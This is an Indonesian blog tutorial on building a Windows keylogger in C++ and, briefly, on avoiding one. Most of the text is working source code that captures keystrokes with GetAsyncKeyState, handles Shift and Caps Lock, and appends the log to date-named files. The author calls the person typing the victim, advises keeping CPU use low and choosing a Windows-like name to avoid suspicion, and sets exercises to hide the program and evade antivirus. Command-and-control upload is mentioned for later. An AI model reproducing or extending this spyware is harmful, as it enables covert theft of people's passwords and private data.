Cara membuat dan menghindari KeyLogger

By | April 7, 2022
1,714 Views

KeyLogger bertugas untuk merekam aktifivitas keyboard sesuai dengan 2 asal kata yaitu key dan logger. Jadi keylogger adalah sebuah program software yang berfungsi untuk memantau aktivitas korban dan memberikan akses pada peretas ke data pribadi mereka. Jika tidak sengaja komputer yang kita pakai ternyata sudah terinstall aplikasi tersebut maka harus hati2. Keylogger yang canggih bahkan bisa merekam / screenshoot layar serta mengetahui komputer sedang membuka aplikasi apa saja. Nanti juga akan dibahas cara sederhana menghindari keylogger.

Cara membuat Keylogger biasanya menggunakan native languange agar kerjanya efektif seperti bahasa C/C++. Tidak seperti biasanya yang menggunakan bahasa seperti java/python yang membutuhkan intepreter. Maka untuk merekam aktifivitas keyboard dibutuhkan akses ke hardware. Pilihan jatuh ke C++ karena bahasa ini paling mudah digunakan dan tersedia banyak compiler.

Cara membuat KeyLogger menggunakan bahasa C/C++ tentu kalian bisa pilih menggunakan IDE seperti Netbeans/code block /Visual Studio. Tapi saya lebih suka menggunakan IDE Code::Block dengan compiler MinGW karena lebih ringan serta fokus aplikasi itu hanya console. Algoritma keylogger nantinya akan infinite looping sebagai listening sehingga agar CPU usage tidak 100% (bisa kena curigai oleh korban) maka butuhnya Sleep(1). Artinya aplikasi akan tertidur selama 1/1000 detik sebelum melakukan rekam aktifitas.

Mengapa harus Sleep(1)? kalau tidak seperti itu dalam posisi IDLE komputer bisa diatas 10% selain itu nanti kalian bisa coba menggunakan teknik hide application agar tidak nampak di taskbar serta berikan nama yang mirip2 aplikasi windows bahkan hasil rekam tersebut bisa disimpan dalam format *.txt sedangkan untuk mengirimkan ke CC server (command dan control server) nanti dibahas tersendiri, misalkan dengan POST/GET ke server tertentu.

Fokus disini hanya sebatas cara GetAsyncKeyState() serta mengetahui posisi CAPS_LOCK serta VK_SHIFT karena GetAsyncKeyState() hanya mengembalikan return integer CAPITAL SEMUA.

GetAsyncKeyState

Merupakan API Windows yang terdapat pada winuser.h lebih tepatnya WINUSERAPI SHORT WINAPI GetAsyncKeyState (int); Jenis aplikasi yang listening ditangani oleh looping while(). Kita coba saja untuk membuat kode tersebut oiya pastikan kalian menggunakan GNU GCC Compiler atau menggunakan Visual Studio. Kita coba dulu menggunakan while() yang didalamnnya ada Sleep(), untuk itu kalian butuh header <Window.h>

#include <iostream>
#include <Windows.h>
using namespace std;

int main()
{
    while(true){
        Sleep(1000);
        cout << "Hello world!" << endl;
    }
    cout << "Hello world!" << endl;
    return 0;
}

Nanti aplikasi akan tampilkan kata “hello world” per 1000/1000 = 1 detik sekali akan terlihat CPU usage nya normal-normal saja, tapi jika kalian hapus Sleep(1000) dan run kembali aplikasi nanti CPU usage akan naik drastis. Tentu hal ini tidak baik untuk membuat aplikasi yang bertugas merekam data yang bersifat sembunyi tapi malah banyak habiskan resource.

See also  Pengalaman menggunakan Compiler C++17

Kecepatan orang untuk pencet antar key satu dengan yang lain masih bisa direkam bila durasinya dipersempit, oleh sebab itu Sleep(1) bisa kita gunakan atau dalam kata lain 0.001 detik bisa merekam dengan baik tanpa menghabiskan CPU Usage tinggi.

Langkah selanjutnya untuk HOOK yaitu API untuk mengetahui akfitivitas keyboard menggunakan API GetAsyncKeyState()

#include <iostream>
#include <Windows.h>
using namespace std;

int main()
{
    while(true)
    {
        Sleep(1);
        for (int KEY = 8; KEY <= 190; KEY++)
        {
            if (GetAsyncKeyState(KEY) == -32767)
            {
                cout<<KEY;
            }
        }
    }
    cout << "Hello world!" << endl;
    return 0;
}

GetAsyncKeyState menerima input integer yang merupakan kode keyboard. Misalkan kode ketika kita pencet space akan tampil angka 32. Ketika aplikasi dijalankan, akan merekam semua aktifitas keyboard tanpa terkecuali. Agar tidak bingung ubahlah menjadi  cout<<char(KEY);

Apa yang terjadi ketika mengubah menjadi diatas? yaitu akan tampil HURUF BESAR tanpa terkecuali! Yups GetAsyncKeyState () hanya mengenali kode keyboard yang bisa kalian pelajari disini

Yaitu untuk angka 0 sampai 9 serta alphabet A sampai Z serta simbol (tidak semua simbol akan muncul karena butuh kombinasi tombol SHIFT). Bahkan ketika kalian pencet enter malahan tidak berpindah baris! untuk pindah baris, tambahkan  if (KEY ==VK_RETURN)

int main()
{
    while(true)
    {
        Sleep(1);
        for (int KEY = 8; KEY <= 255; KEY++)
        {
            if (GetAsyncKeyState(KEY) == -32767)
            {
                if(KEY ==VK_RETURN)
                {
                    cout << "\n";
                }
                cout<<char(KEY);
            }
        }
    }    
    return 0;
}

Coba kalian buka notepad/word dan ketikan sesuatu, maka di aplikasinya akan tampil sesuai yang ditulis! Yup kalian berhasil merekam keyboard alias keylogger!

Untuk mempermudah kita butuh function saja agar bisa mengubah kode ASCII keyboard menjadi huruf yaitu

kode ASCII karakater keyboard
48 0
49 1
50 2
51 3
52 4
53 5
54 6
55 7
56 8
57 9
189
187 =
192 `
219 [
221 ]
220 \
186 ;
222
188 ,
190 .
191 /
65 A
66 B
67 C
68 D
69 E
70 F
71 G
72 H
73 I
74 J
75 K
76 L
77 M
78 N
79 O
80 P
81 Q
82 R
83 S
84 T
85 U
86 V
87 W
88 X
89 Y
90 Z

Selain kode diatas, kita tambahkan kode ASCII untuk lower alphabet

kode ASCII karakater keyboard
97 a
98 b
99 c
100 d
101 e
102 f
103 g
104 h
105 i
106 j
107 k
108 l
109 m
110 n
111 o
112 p
113 q
114 r
115 s
116 t
117 u
118 v
119 w
120 x
121 y
122 z

Sekarang kode lengkapnya sebagai berikut

int ascii [] = { 48,49,50,51,52,53,54,55,56,
                57,189,187,192,219,221,220,186,222,188,
                190,191,65,66,67,68,69,70,71,72,73,
                74,75,76,77,78,79,80,81,82,83,84,85,
                86,87,88,89,90,
                97,98,99,100,101,102,103,104,105,106,
                107,108,109,110,111,112,113,114,115,
                116,117,118,119,120,121,122};
char charUtama [] = {'0','1','2','3','4','5','6','7','8','9',
                    '-','=','`','[',']', '\\', ';', '\'',
                    ',', '.', '/',
                    'A','B','C','D','E','F','G','H','I','J',
                    'K','L','M','N','O','P','Q','R','S','T',
                    'U','V','W','X','Y','Z',
                    'a','b','c','d','e','f','g','h','i','j',
                    'k','l','m','n','o','p','q','r','s','t',
                    'u','v','w','x','y','z'};


char ubah(int KEY)
{
    char hasil='\0';
    for(int i=0;i<73;i++){
        if(KEY==ascii[i]){
            hasil = charUtama[i];
            break;
        }
    }
    return hasil;

}

int main()
{
    while(true)
    {
        Sleep(1);
        for (int KEY = 8; KEY <= 255; KEY++)        {

            if (GetAsyncKeyState(KEY) == -32767)
            {

                if(KEY ==VK_RETURN)
                {
                    cout << "\n";
                }
                cout<<ubah(KEY);

            }
        }
    }
    return 0;
}

Namun tentu ada yang aneh donk, koq huruf kapital semua? padahal tidak CAPS LOCK tidak aktif! Untuk mengatasi hal ini, kita butuh API buat cek CAPS LOCK, yaitu

if(GetKeyState(VK_CAPITAL)!=0) //caps lock aktif

Bagaimana menangani SHIFT?

See also  Pengalaman menggunakan Compiler C++17

Cara membuat KeyLogger diatas kalian sudah bisa menangani HURUF besar dan kecil ketika CAPS LOCK aktif! namun ada hal yang aneh. yaitu belum bekerjanya mekanisme

  • Ketika SHIFT ditekan dan CAPS LOCK aktif maka menjadi huruf kecil
  • SHIFT ditekan maka menjadi HURUF KAPITAL semua!

Kita ubah menjadi (jangan lupa menggunakan asinkronus) nanti menggunakan kode

GetAsyncKeyState(VK_SHIFT)

Sudah beres mengenai huruf kecil dan besar, namun ada yang kurang lagi yaitu karakter simbol. Seperti ~!@#$%^&*()_+{}|:”<>? ada 21 karakter simbol yang belum kita handle ketika SHIFT DITEKAN!

Kita harus melakukan konversi lagi Misalkan karakter [ akan diubah  menjadi { ketika SHIFT ditekan

kode ASCII utama shift
48 0 )
49 1 !
50 2 @
51 3 #
52 4 $
53 5 %
54 6 ^
55 7 &
56 8 *
57 9 (
189 _
187 = +
192 ` ~
219 [ {
221 ] }
220 \ |
186 ; :
222
188 , <
190 . >
191 / ?

Berikut kode finalnya untuk membuat keylogger

int ascii2 [] = {  48,49,50,51,52,53,54,55,56,57,189,187,192,
                    219,221,220,186,222,188,190,191};


char charShift [] ={')','!','@','#','$','%','^','&','*','(',
                  '_','+','~','{','}',
                    '|',':','"','<','>','?'};

int ascii [] = { 48,49,50,51,52,53,54,55,56,
                57,189,187,192,219,221,220,186,222,188,
                190,191,65,66,67,68,69,70,71,72,73,
                74,75,76,77,78,79,80,81,82,83,84,85,
                86,87,88,89,90,
                97,98,99,100,101,102,103,104,105,106,
                107,108,109,110,111,112,113,114,115,
                116,117,118,119,120,121,122};

char charUtama [] = {'0','1','2','3','4','5','6','7','8','9',
                    '-','=','`','[',']', '\\', ';', '\'',
                    ',', '.', '/',
                    'A','B','C','D','E','F','G','H','I','J',
                    'K','L','M','N','O','P','Q','R','S','T',
                    'U','V','W','X','Y','Z',
                    'a','b','c','d','e','f','g','h','i','j',
                    'k','l','m','n','o','p','q','r','s','t',
                    'u','v','w','x','y','z'};


char ubah(int KEY)
{
    char hasil='\0';
    for(int i=0;i<73;i++){
        if(KEY==ascii[i]){
            hasil = charUtama[i];
            break;
        }
    }
    return hasil;

}

char ubah2(int KEY)
{
    char hasil='\0';
    for(int i=0;i<21;i++){
        if(KEY==ascii2[i]){
            hasil = charShift[i];
            break;
        }
    }
    return hasil;

}

int main()
{
    while(true)
    {
        Sleep(1);
        for (int KEY = 8; KEY <= 255; KEY++)        {

            if (GetAsyncKeyState(KEY) == -32767)
            {
                if(KEY ==VK_RETURN)
                {
                    cout << "\n";
                }
                if(GetKeyState(VK_CAPITAL)!=0) //caps lock aktif
                {
                    if(GetAsyncKeyState(VK_SHIFT)!=0){ //shift ditekan
                        bool shift = true;
                        for(int i =65;i<=90;i++) //karakter alphabet
                        {
                            if(KEY==i)
                            {
                                shift = false;
                                break;
                            }
                        }
                        if(shift){
                            cout<<ubah2(KEY);//simbol
                        }else{
                            cout<<ubah(tolower(KEY));  //huruf kecil
                        }

                    }else{
                        cout<<ubah(KEY); //huruf besar
                    }

                }else //caps lock tidak aktif
                {
                    if(GetAsyncKeyState(VK_SHIFT)!=0){ //shift ditekan
                        bool shift = true;
                        for(int i =65;i<=90;i++) //karakter alphabet
                        {
                            if(KEY==i)
                            {
                                shift = false;
                                break;
                            }
                        }
                        if(shift){
                            cout<<ubah2(KEY); //simbol
                        }else{
                            cout<<ubah(KEY); //huruf besar
                        }

                    }else{
                        cout<<ubah(tolower(KEY));  //huruf kecil
                    }

                }
            }
        }
    }
    return 0;
}

Beberapa PR yang kalian harus kerjakan

  1. menyimpan keylogger tersebut kedalam sebuah file *.txt Dengan mekanisme append. Nama file akan tergenerate berdasarkan format Y-M-D.txt
  2. hide app (bisa kalian gunakan API windows)
  3. menangani CTRL+V+A
  4. DELETE/BACKSPACE
  5. serta menghindari antivirus
See also  Copy file pada Compiler C++17

Aplikasi keylogger sangat sulit dideteksi kecuali antivirus tersebut mencurigai sebagai aplikasi virus biasa, bahkan aktifitas pengumpulan data tersebut datang bersamaan aplikasi cracking. Jadi kalian harus hati2 agar terhindar dari keylogger. Keylogger tersebut pada windows menggunakan API Windows User32.dll ketika memanggil getasynckeystate()

Lebih lanjut https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate

Component Keterangan
Minimum supported client Windows 2000 Professional [desktop apps only]
Minimum supported server Windows 2000 Server [desktop apps only]
Target Platform Windows
Header winuser.h (include Windows.h)
Library User32.lib
DLL User32.dll

Solusi menghindari keylogger

Meskipun keberadaan keylogger sulit dideteksi bahkan oleh pengguna mahir sekalipun, namun keylogger dapat “ditipu” dengan menggunakan suatu metode sederhana. Kita dapat melihat bahwa keylogger bekerja dengan membajak semua input keyboard yang terjadi. Dari sini timbul pertanyaan, apa yang terjadi jika kita mampu membuat “input palsu” untuk menyamarkan input yang sebenarnya?

Gunakan saja KEYBOARD VIRTUAL (walaupun keylogger ada yang bisa lakukan screenshot layar) tapi setidaknya itu bisa mengurangi. Kalau di windows gunakan On Screen Keyboard

Menyimpan keylogger kedalam file

Tentu membuat aplikasi keylogger membutuhkan media penyimpanan berupa file. File-file yang terbentuk nantinya harus di generate file name berdasarkan tahun-bulan-tanggal untuk mempermudah tracing nya. Untuk mendapatkan tanggal di C++ membutukhan API Windows yaitu  #include <ctime> setelah di include tersebut. Kita langsung gunakan dengan kode sebagai berikut

time_t now = time(0);

tm *ltm = localtime(&now);
int year = 1900+ltm->tm_year;
int month = 1 +ltm->tm_mon;
int day = ltm->tm_mday;

string file = to_string (year)+"-"+to_string(month)+"-"+to_string(day)+".txt";

Untuk mempermudah sorting penamaan filenya, saya lebih suka menggunakan cara diatas dengan urutan YYYY-M-D.txt

Membuat file di C++ caranya mudah kok, yaitu dengan menggunakan API Windows #include <fstream> yang bersifat append yang berarti bahwa jika file tersebut belum ada akan di create dan jika sudah ada akan di append isi filenya.

fstream LogFile;
LogFile.open(file.c_str(), fstream::app);
if (LogFile.is_open()) {	
   LogFile << "contoh isi text";
   LogFile.close();
}

Artinya akan create file dan mengisi file tersebut dengan kata “contoh isi text”. Coba kalian run berkali-kali kode diatas. Untuk pindah baris, gunakan saja character newline

fstream LogFile;
LogFile.open(file.c_str(), fstream::app);
if (LogFile.is_open()) {	
   LogFile << "\n";	
   LogFile << "contoh isi text";	
   LogFile.close();
}

Source Code keylogger

Saya sudah membuat source code di github, silahkan kalian bisa pelajari sendiri, gunakan secara bijak dan modifikasi sesuai keperluan saja

https://github.com/mulkan/keylogger

 

ref:

https://www.cs.uah.edu/~rcoleman/Common/Basics/ASCIICharSet.html

https://theasciicode.com.ar/extended-ascii-code/cent-symbol-ascii-code-189.html

https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate